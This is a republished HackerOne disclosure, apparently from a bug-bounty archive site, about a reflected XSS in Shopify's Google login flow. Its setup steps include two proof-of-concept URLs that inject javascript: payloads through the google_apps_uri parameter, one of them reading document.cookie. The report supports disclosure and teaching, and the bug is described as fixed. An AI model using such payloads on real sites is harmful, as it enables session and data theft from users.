Skip to content
XSS Disclosed report Intermediate

XSS while logging using Google

The login identity endpoint accepted a google_apps_uri parameter whose value was used as a JavaScript URI, so a crafted link could run script in the victim's browser. An attacker could use this to steal data from anyone who tried to log in with Google through the link.

ashketchum Follow

Originally disclosed on HackerOne

Bounty$1,750 View original
  • Triaged in 5 hours
  • Fixed in 10 hours
  • Paid in 9 hours
  • Disclosed after 31 hours

Hello Security Team, I have found xss when we enable login services as, Allow staff to use external services to log in to Shopify and we enable Google Apps for login we get the " Log in with Google " option enable

google_login.png
google_login.png From the original on HackerOne

Steps to Reproduce:

Step1: Go to https://YOURSHOP.myshopify.com/admin/settings/account Step2: Login Services: Staff can use Google Apps to log in -->> Enable Google Apps for login Step3: Now staff can log in using Google Step4: Log out from your account Step5: Now go to following Url and try to log in using Google

NOTE: I have made changes in the URL at google_apps_uri

POC URL 1:

https://app.shopify.com/services/login/identity?destination_uuid=79b5c315-b5ac-4b19-bd33-13554433fa31&google_apps_uri=javascript:prompt(document.domain)&return_to=https%3A%2F%2Fapp.shopify.com%2Fservices%2Flogin%2Fidentity_callback%3Fshop_name%3D123ashketchum%26state%3D6a_2K0iBEBMG3sv07qFMrtzfrBFY4gZ9JsN0EJAW2Xck07xlkghl0tmZwGIvYEZ1KZw2mG4d4Omhl_h5oB_7t4dcXoS37UUOMG6f9sOr7BCKyR23PWbLpVlh4A0lMXmNuxOEUeEA55eapNpVZqT6AyfnJkQhn4K89-I5O6TVqcamtHaXWRH7b1EI6U8LvQFddrBPYniYGpggAwsFLvb5UeTvRw-fbvRditQ20YWYTK8%253D&ui_locales=en&upgradeable=true&ux=shop

POC URL 2:

https://app.shopify.com/services/login/identity?destination_uuid=79b5c315-b5ac-4b19-bd33-13554433fa31&google_apps_uri=javascript:prompt(document.cookie)&return_to=https%3A%2F%2Fapp.shopify.com%2Fservices%2Flogin%2Fidentity_callback%3Fshop_name%3D123ashketchum%26state%3D6a_2K0iBEBMG3sv07qFMrtzfrBFY4gZ9JsN0EJAW2Xck07xlkghl0tmZwGIvYEZ1KZw2mG4d4Omhl_h5oB_7t4dcXoS37UUOMG6f9sOr7BCKyR23PWbLpVlh4A0lMXmNuxOEUeEA55eapNpVZqT6AyfnJkQhn4K89-I5O6TVqcamtHaXWRH7b1EI6U8LvQFddrBPYniYGpggAwsFLvb5UeTvRw-fbvRditQ20YWYTK8%253D&ui_locales=en&upgradeable=true&ux=shop

XSS will be triggered!!

xss.png
xss.png From the original on HackerOne

I have attached POC Video, Please take a look!!

Regards, @ashketchum

Impact

The attacker can steal data from whoever who try to login using Google!!

Attachments

The original report as published on HackerOne, by ashketchum. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the google_apps_uri request parameter was placed into a link or redirect without validating that it used a safe scheme such as https, allowing a javascript: URI.

Impact

An attacker could steal data from anyone who tries to log in using Google through the crafted link.

What the attacker needed

Google Apps login enabled for staff; victim clicks a crafted link

How it was found

  1. Open the shop admin account settings page.
  2. Enable Google Apps as a staff login service.
  3. Log out of the account.
  4. Visit the crafted login identity URL with a modified google_apps_uri value.
  5. Choose to log in with Google and the script runs.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A website sometimes takes a value from the address bar and uses it directly. Here the login page put a link address into a place where the browser treats it as code, so a link could make the page run the attacker's script. That script runs as the site, so it can read things the logged-in user can see.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by ashketchum

View all

3 more disclosed reports, best first.

More from Shopify

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.